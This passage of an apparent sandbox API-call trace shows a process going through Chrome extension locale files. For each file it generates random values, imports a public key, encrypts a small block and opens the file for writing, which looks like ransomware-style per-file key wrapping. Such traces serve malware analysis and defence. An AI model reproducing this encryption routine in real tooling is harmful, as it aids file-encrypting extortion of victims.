[0242.621] CryptEncrypt (in: hKey=0x66b0ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb150000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb150000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.621] GetLastError () returned 0x0 [0242.621] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.622] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.627] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.627] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.627] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.627] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.632] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.632] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.632] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.634] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0f78) returned 1 [0242.634] CryptGetKeyParam (in: hKey=0x66b0f78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.634] CryptEncrypt (in: hKey=0x66b0f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb160000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb160000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.634] GetLastError () returned 0x0 [0242.635] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.635] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.636] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0db8) returned 1 [0242.636] CryptGetKeyParam (in: hKey=0x66b0db8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.636] CryptEncrypt (in: hKey=0x66b0db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb170000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb170000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.637] GetLastError () returned 0x0 [0242.637] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.637] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.640] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.645] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.646] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.646] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.650] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.650] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.650] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.651] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.653] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0b38) returned 1 [0242.653] CryptGetKeyParam (in: hKey=0x66b0b38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.653] CryptEncrypt (in: hKey=0x66b0b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb180000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb180000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.653] GetLastError () returned 0x0 [0242.653] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.653] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.655] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1038) returned 1 [0242.655] CryptGetKeyParam (in: hKey=0x66b1038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.655] CryptEncrypt (in: hKey=0x66b1038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb190000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb190000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.656] GetLastError () returned 0x0 [0242.656] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.656] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.657] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.662] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.662] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.662] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.666] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.666] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.666] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.666] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.669] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0cb8) returned 1 [0242.669] CryptGetKeyParam (in: hKey=0x66b0cb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.669] CryptEncrypt (in: hKey=0x66b0cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb1a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.669] GetLastError () returned 0x0 [0242.669] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.669] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.671] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0fb8) returned 1 [0242.671] CryptGetKeyParam (in: hKey=0x66b0fb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.671] CryptEncrypt (in: hKey=0x66b0fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb1b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.671] GetLastError () returned 0x0 [0242.671] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.671] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.672] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.677] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.680] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.682] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.682] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.682] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.684] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0cf8) returned 1 [0242.684] CryptGetKeyParam (in: hKey=0x66b0cf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.684] CryptEncrypt (in: hKey=0x66b0cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb1c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.684] GetLastError () returned 0x0 [0242.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.684] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.686] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0eb8) returned 1 [0242.686] CryptGetKeyParam (in: hKey=0x66b0eb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.686] CryptEncrypt (in: hKey=0x66b0eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb1d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.687] GetLastError () returned 0x0 [0242.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.687] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.687] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.692] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.692] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.692] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.693] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.697] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.697] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.697] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.699] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0bf8) returned 1 [0242.699] CryptGetKeyParam (in: hKey=0x66b0bf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.699] CryptEncrypt (in: hKey=0x66b0bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb1e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.700] GetLastError () returned 0x0 [0242.700] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.700] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0d38) returned 1 [0242.702] CryptGetKeyParam (in: hKey=0x66b0d38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.702] CryptEncrypt (in: hKey=0x66b0d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb1f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.702] GetLastError () returned 0x0 [0242.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.703] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.707] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.708] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.708] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.712] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.712] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.712] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.715] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0ff8) returned 1 [0242.715] CryptGetKeyParam (in: hKey=0x66b0ff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.715] CryptEncrypt (in: hKey=0x66b0ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb200000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb200000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.715] GetLastError () returned 0x0 [0242.715] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.715] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.729] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0af8) returned 1 [0242.730] CryptGetKeyParam (in: hKey=0x66b0af8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.730] CryptEncrypt (in: hKey=0x66b0af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb210000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb210000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.730] GetLastError () returned 0x0 [0242.730] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.730] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.731] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.734] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.737] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.737] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.737] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.740] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.742] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.742] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.745] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b08f8) returned 1 [0242.745] CryptGetKeyParam (in: hKey=0x66b08f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.745] CryptEncrypt (in: hKey=0x66b08f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb220000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb220000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.745] GetLastError () returned 0x0 [0242.745] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.745] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.747] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0878) returned 1 [0242.747] CryptGetKeyParam (in: hKey=0x66b0878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.747] CryptEncrypt (in: hKey=0x66b0878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb230000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb230000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.747] GetLastError () returned 0x0 [0242.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.747] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 